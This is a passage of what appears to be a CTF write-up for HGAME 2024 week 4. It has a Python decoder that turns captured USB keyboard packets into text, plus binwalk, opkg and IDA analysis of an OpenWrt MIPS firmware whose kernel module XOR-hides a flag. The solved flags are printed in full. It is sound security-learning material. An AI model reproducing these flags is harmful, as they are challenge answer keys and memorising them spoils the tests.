0x24: ("7", "&"), # 7
0x25: ("8", "*"), # 8
0x26: ("9", "("), # 9
0x27: ("0", ")"), # 0
0x28: ("\n", "\n"), # Return (ENTER)
0x29: ("[ESC]", "[ESC]"), # Escape
0x2A: ("\b", "\b"), # Backspace
0x2B: ("\t", "\t"), # Tab
0x2C: (" ", " "), # Spacebar
0x2D: ("-", "_"), # -
0x2E: ("=", "+"), # =
0x2F: ("[", "{"), # [
0x30: ("]", "}"), # ]
0x31: ("\\", "|"), # \
0x32: ("", ""), # Non-US # and ~
0x33: (";", ":"), # ;
0x34: ("'", '"'), # '
0x35: ("`", "~"), # `
0x36: (",", "<"), # ,
0x37: (".", ">"), # .
0x38: ("/", "?"), # /
0x39: ("[CAPSLOCK]", "[CAPSLOCK]"), # Caps Lock
0x3A: ("[F1]", "[F1]"), # F1
0x3B: ("[F2]", "[F2]"), # F2
0x3C: ("[F3]", "[F3]"), # F3
0x3D: ("[F4]", "[F4]"), # F4
0x3E: ("[F5]", "[F5]"), # F5
0x3F: ("[F6]", "[F6]"), # F6
0x40: ("[F7]", "[F7]"), # F7
0x41: ("[F8]", "[F8]"), # F8
0x42: ("[F9]", "[F9]"), # F9
0x43: ("[F10]", "[F10]"), # F10
0x44: ("[F11]", "[F11]"), # F11
0x45: ("[F12]", "[F12]"), # F12
0x46: ("[PRINTSCREEN]", "[PRINTSCREEN]"), # Print Screen
0x47: ("[SCROLLLOCK]", "[SCROLLLOCK]"), # Scroll Lock
0x48: ("[PAUSE]", "[PAUSE]"), # Pause
0x49: ("[INSERT]", "[INSERT]"), # Insert
0x4A: ("[HOME]", "[HOME]"), # Home
0x4B: ("[PAGEUP]", "[PAGEUP]"), # Page Up
0x4C: ("[DELETE]", "[DELETE]"), # Delete Forward
0x4D: ("[END]", "[END]"), # End
0x4E: ("[PAGEDOWN]", "[PAGEDOWN]"), # Page Down
0x4F: ("[RIGHTARROW]", "[RIGHTARROW]"), # Right Arrow
0x50: ("[LEFTARROW]", "[LEFTARROW]"), # Left Arrow
0x51: ("[DOWNARROW]", "[DOWNARROW]"), # Down Arrow
0x52: ("[UPARROW]", "[UPARROW]"), # Up Arrow
0x53: ("[NUMLOCK]", "[NUMLOCK]"), # Num Lock
0x54: ("[KEYPADSLASH]", "/"), # Keypad /
0x55: ("[KEYPADASTERISK]", "*"), # Keypad *
0x56: ("[KEYPADMINUS]", "-"), # Keypad -
0x57: ("[KEYPADPLUS]", "+"), # Keypad +
0x58: ("[KEYPADENTER]", "[KEYPADENTER]"), # Keypad ENTER
0x59: ("[KEYPAD1]", "1"), # Keypad 1 and End
0x5A: ("[KEYPAD2]", "2"), # Keypad 2 and Down Arrow
0x5B: ("[KEYPAD3]", "3"), # Keypad 3 and PageDn
0x5C: ("[KEYPAD4]", "4"), # Keypad 4 and Left Arrow
0x5D: ("[KEYPAD5]", "5"), # Keypad 5
0x5E: ("[KEYPAD6]", "6"), # Keypad 6 and Right Arrow
0x5F: ("[KEYPAD7]", "7"), # Keypad 7 and Home
0x60: ("[KEYPAD8]", "8"), # Keypad 8 and Up Arrow
0x61: ("[KEYPAD9]", "9"), # Keypad 9 and Page Up
0x62: ("[KEYPAD0]", "0"), # Keypad 0 and Insert
0x63: ("[KEYPADPERIOD]", "."), # Keypad . and Delete
0x64: ("", ""), # Non-US \ and |
0x65: ("", ""), # Application
0x66: ("", ""), # Power
0x67: ("[KEYPADEQUALS]", "="), # Keypad =
0x68: ("[F13]", "[F13]"), # F13
0x69: ("[F14]", "[F14]"), # F14
0x6A: ("[F15]", "[F15]"), # F15
0x6B: ("[F16]", "[F16]"), # F16
0x6C: ("[F17]", "[F17]"), # F17
0x6D: ("[F18]", "[F18]"), # F18
0x6E: ("[F19]", "[F19]"), # F19
0x6F: ("[F20]", "[F20]"), # F20
0x70: ("[F21]", "[F21]"), # F21
0x71: ("[F22]", "[F22]"), # F22
0x72: ("[F23]", "[F23]"), # F23
0x73: ("[F24]", "[F24]"), # F24
0x74: ("", ""), # Execute
0x75: ("", ""), # Help
0x76: ("", ""), # Menu
0x77: ("", ""), # Select
0x78: ("", ""), # Stop
0x79: ("", ""), # Again
0x7A: ("", ""), # Undo
0x7B: ("", ""), # Cut
0x7C: ("", ""), # Copy
0x7D: ("", ""), # Paste
0x7E: ("", ""), # Find
0x7F: ("", ""), # Mute
0x80: ("", ""), # Volume Up
0x81: ("", ""), # Volume Down
0x82: ("", ""), # Locking Caps Lock
0x83: ("", ""), # Locking Num Lock
0x84: ("", ""), # Locking Scroll Lock
0x85: ("", ""), # Keypad Comma
0x86: ("", ""), # Keypad Equal Sign
0x87: ("", ""), # International1
0x88: ("", ""), # International2
0x89: ("", ""), # International3
0x8A: ("", ""), # International4
0x8B: ("", ""), # International5
0x8C: ("", ""), # International6
0x8D: ("", ""), # International7
0x8E: ("", ""), # International8
0x8F: ("", ""), # International9
0x90: ("", ""), # LANG1
0x91: ("", ""), # LANG2
0x92: ("", ""), # LANG3
0x93: ("", ""), # LANG4
0x94: ("", ""), # LANG5
0x95: ("", ""), # LANG6
0x96: ("", ""), # LANG7
0x97: ("", ""), # LANG8
0x98: ("", ""), # LANG9
0x99: ("", ""), # Alternate Erase
0x9A: ("", ""), # SysReq/Attention
0x9B: ("", ""), # Cancel
0x9C: ("", ""), # Clear
0x9D: ("", ""), # Prior
0x9E: ("", ""), # Return
0x9F: ("", ""), # Separator
0xA0: ("", ""), # Out
0xA1: ("", ""), # Oper
0xA2: ("", ""), # Clear/Again
0xA3: ("", ""), # CrSel/Props
0xA4: ("", ""), # ExSel
0xA5: ("", ""), # Reserved
0xA6: ("", ""), # Reserved
0xA7: ("", ""), # Reserved
0xA8: ("", ""), # Reserved
0xA9: ("", ""), # Reserved
0xAA: ("", ""), # Reserved
0xAB: ("", ""), # Reserved
0xAC: ("", ""), # Reserved
0xAD: ("", ""), # Reserved
0xAE: ("", ""), # Reserved
0xAF: ("", ""), # Reserved
0xB0: ("", ""), # Keypad 00
0xB1: ("", ""), # Keypad 000
0xB2: ("", ""), # Thousands Separator
0xB3: ("", ""), # Decimal Separator
0xB4: ("", ""), # Currency Unit
0xB5: ("", ""), # Currency Sub-unit
0xB6: ("", ""), # Keypad (
0xB7: ("", ""), # Keypad )
0xB8: ("", ""), # Keypad {
0xB9: ("", ""), # Keypad }
0xBA: ("", ""), # Keypad Tab
0xBB: ("", ""), # Keypad Backspace
0xBC: ("", ""), # Keypad A
0xBD: ("", ""), # Keypad B
0xBE: ("", ""), # Keypad C
0xBF: ("", ""), # Keypad D
0xC0: ("", ""), # Keypad E
0xC1: ("", ""), # Keypad F
0xC2: ("", ""), # Keypad XOR
0xC3: ("", ""), # Keypad ^
0xC4: ("", ""), # Keypad %
0xC5: ("", ""), # Keypad <
0xC6: ("", ""), # Keypad >
0xC7: ("", ""), # Keypad &
0xC8: ("", ""), # Keypad &&
0xC9: ("", ""), # Keypad |
0xCA: ("", ""), # Keypad ||
0xCB: ("", ""), # Keypad :
0xCC: ("", ""), # Keypad #
0xCD: ("", ""), # Keypad Space
0xCE: ("", ""), # Keypad @
0xCF: ("", ""), # Keypad !
0xD0: ("", ""), # Keypad Memory Store
0xD1: ("", ""), # Keypad Memory Recall
0xD2: ("", ""), # Keypad Memory Clear
0xD3: ("", ""), # Keypad Memory Add
0xD4: ("", ""), # Keypad Memory Subtract
0xD5: ("", ""), # Keypad Memory Multiply
0xD6: ("", ""), # Keypad Memory Divide
0xD7: ("", ""), # Keypad +/-
0xD8: ("", ""), # Keypad Clear
0xD9: ("", ""), # Keypad Clear Entry
0xDA: ("", ""), # Keypad Binary
0xDB: ("", ""), # Keypad Octal
0xDC: ("", ""), # Keypad Decimal
0xDD: ("", ""), # Keypad Hexadecimal
0xDE: ("", ""), # Reserved
0xDF: ("", ""), # Reserved
0xE0: ("", ""), # Left Control
0xE1: ("", ""), # Left Shift
0xE2: ("", ""), # Left Alt
0xE3: ("", ""), # Left GUI
0xE4: ("", ""), # Right Control
0xE5: ("", ""), # Right Shift
0xE6: ("", ""), # Right Alt
0xE7: ("", ""), # Right GUI
}
class HidKeyboardReport(ty.NamedTuple):
ctrl: bool
shift: bool
alt: bool
gui: bool
keys: list[str]
def parse_hid_packet(packet: bytes) -> HidKeyboardReport:
mods: int
keycodes: bytes
mods, keycodes = struct.unpack("!Bx6s", packet[0:8])
ctrl = mods & 0x11 != 0
shift = mods & 0x22 != 0
alt = mods & 0x44 != 0
gui = mods & 0x88 != 0
keycodes = packet[2:8]
return HidKeyboardReport(
ctrl,
shift,
alt,
gui,
list(
map(
lambda k: BOOT_KEYBOARD_MAP[k][1 if shift else 0],
filter(lambda kc: kc != 0, keycodes),
),
),
)
with open(FILENAME, "rt") as f:
lines = f.readlines()
keystrokes = map(
lambda l: parse_hid_packet(bytes.fromhex(l)[1:]),
filter(lambda l: len(l) != 0, map(lambda l: l.strip(), lines)),
)
caps_lock_prev = False
caps_lock = False
result = ""
for k in keystrokes:
caps_lock_this = "[CAPSLOCK]" in k.keys
if not caps_lock_prev and caps_lock_this:
caps_lock = not caps_lock
caps_lock_prev = caps_lock_this
for key_str in filter(lambda s: len(s) == 1, k.keys):
if key_str.isalpha():
if caps_lock:
key_str = key_str.upper() if key_str.islower() else key_str.lower()
if k.ctrl:
result += f"^{key_str.upper()}"
else:
result += key_str
success(result)
PS D:\Workspace\rev\hgame_2024\week_4\ezKeyboard> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_4/ezKeyboard/analyze_1.py
[+] hgame{keYb0a1d_gam0__15_s0_f0n__!!~~~~}^C
PS D:\Workspace\rev\hgame_2024\week_4\ezKeyboard>
hgame{keYb0a1d_gam0__15_s0_f0n__!!~~~~}
IOT
ez7621
flag in kernel mode.
基础嵌入式固件分析 +MIPSEL 逆向。
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_4/ez7621$ binwalk -AB ./openwrt-ramips-mt7621-youhua_wr1200js-squashfs-sysupgrade.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0x4E6924EB, created: 2023-11-14 13:38:11, image size: 2843650 bytes, Data Address: 0x80001000, Entry Point: 0x80001000, data CRC: 0x7FC9D6F, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "MIPS OpenWrt Linux-5.15.137"
64 0x40 LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 9467008 bytes
2729774 0x29A72E ARMEB instructions, function prologue
2843714 0x2B6442 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3818212 bytes, 1356 inodes, blocksize: 262144 bytes, created: 2023-11-14 13:38:11
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_4/ez7621$
查看 opkg 包列表可以发现有一个有趣的模块。
Package: kmod-flag
Version: 5.15.137-1
Depends: kernel (= 5.15.137-1-29d3c8b2d48de9c08323849df5ed6674)
Status: install user installed
Architecture: mipsel_24kc
Installed-Time: 1699969091
该模块的 manifest 如下:
Package: kmod-flag
Version: 5.15.137-1
Depends: kernel (=5.15.137-1-29d3c8b2d48de9c08323849df5ed6674)
Source: package/kernel/hgame_flag
SourceName: kmod-flag
License: GPL-2.0
Section: kernel
SourceDateEpoch: 1708448900
Maintainer: Doddy <[email protected]>
Architecture: mipsel_24kc
Installed-Size: 1283
Description: HGAME Flag
模块文件列表如下:
/etc/modules-boot.d/30-flag
/etc/modules.d/30-flag
/lib/modules/5.15.137/mt7621-flag.ko
根据该路径找到的 ko 文件如下。
使用 IDA 反汇编。
int init_module()
{
const char *v0; // $v0
char *v1; // $v1
int v2; // $t0
int v3; // $a3
int v4; // $a2
int v5; // $a1
int v6; // $t1
int v7; // $t0
__int16 v8; // $a3
char v9; // $v0
__int64 v10; // $v0
char v12[44]; // [sp+14h] [-68h] BYREF
int v13[13]; // [sp+40h] [-3Ch] BYREF
v0 = ">17;3-ee44`3`a{`boe{b2fb{4`d4{bdg5aoog4d44+";
v1 = v12;
do
{
v2 = *(_DWORD *)v0;
v3 = *((_DWORD *)v0 + 1);
v4 = *((_DWORD *)v0 + 2);
v5 = *((_DWORD *)v0 + 3);
v0 += 16;
*(_DWORD *)v1 = v2;
*((_DWORD *)v1 + 1) = v3;
*((_DWORD *)v1 + 2) = v4;
*((_DWORD *)v1 + 3) = v5;
v1 += 16;
}
while ( v0 != "g5aoog4d44+" );
v6 = *(_DWORD *)v0;
v7 = *((_DWORD *)v0 + 1);
v8 = *((_WORD *)v0 + 4);
v9 = v0[10];
*(_DWORD *)v1 = v6;
*((_DWORD *)v1 + 1) = v7;
*((_WORD *)v1 + 4) = v8;
v1[10] = v9;
memset(v13, 0, 50);
v10 = (unsigned int)strnlen(v12, 43);
if ( (unsigned int)v10 >= 0x2B )
{
if ( (_DWORD)v10 != 43 )
fortify_panic("strnlen");
v10 = fortify_panic("strlen");
}
while ( (_DWORD)v10 != HIDWORD(v10) )
{
*((_BYTE *)v13 + HIDWORD(v10)) = v12[HIDWORD(v10)] ^ 0x56;
++HIDWORD(v10);
}
printk(&_LC1, v13);
return 0;
}
大概流程是将字符串从 ROM 里面复制过来然后异或 0x56。那么解密脚本是显然的。
from pwn import *
CIPHER = b">17;3-ee44`3`a{`boe{b2fb{4`d4{bdg5aoog4d44+"
plain = bytes(map(lambda x: (x ^ 0x56) & 0xFF, CIPHER))
success(plain.decode("ascii", errors="ignore"))
PS D:\Workspace\rev\hgame_2024\week_4> python .\ez7621\sol.py
[+] hgame{33bb6e67-6493-4d04-b62b-421c7991b2bb}
PS D:\Workspace\rev\hgame_2024\week_4>
hgame{33bb6e67-6493-4d04-b62b-421c7991b2bb}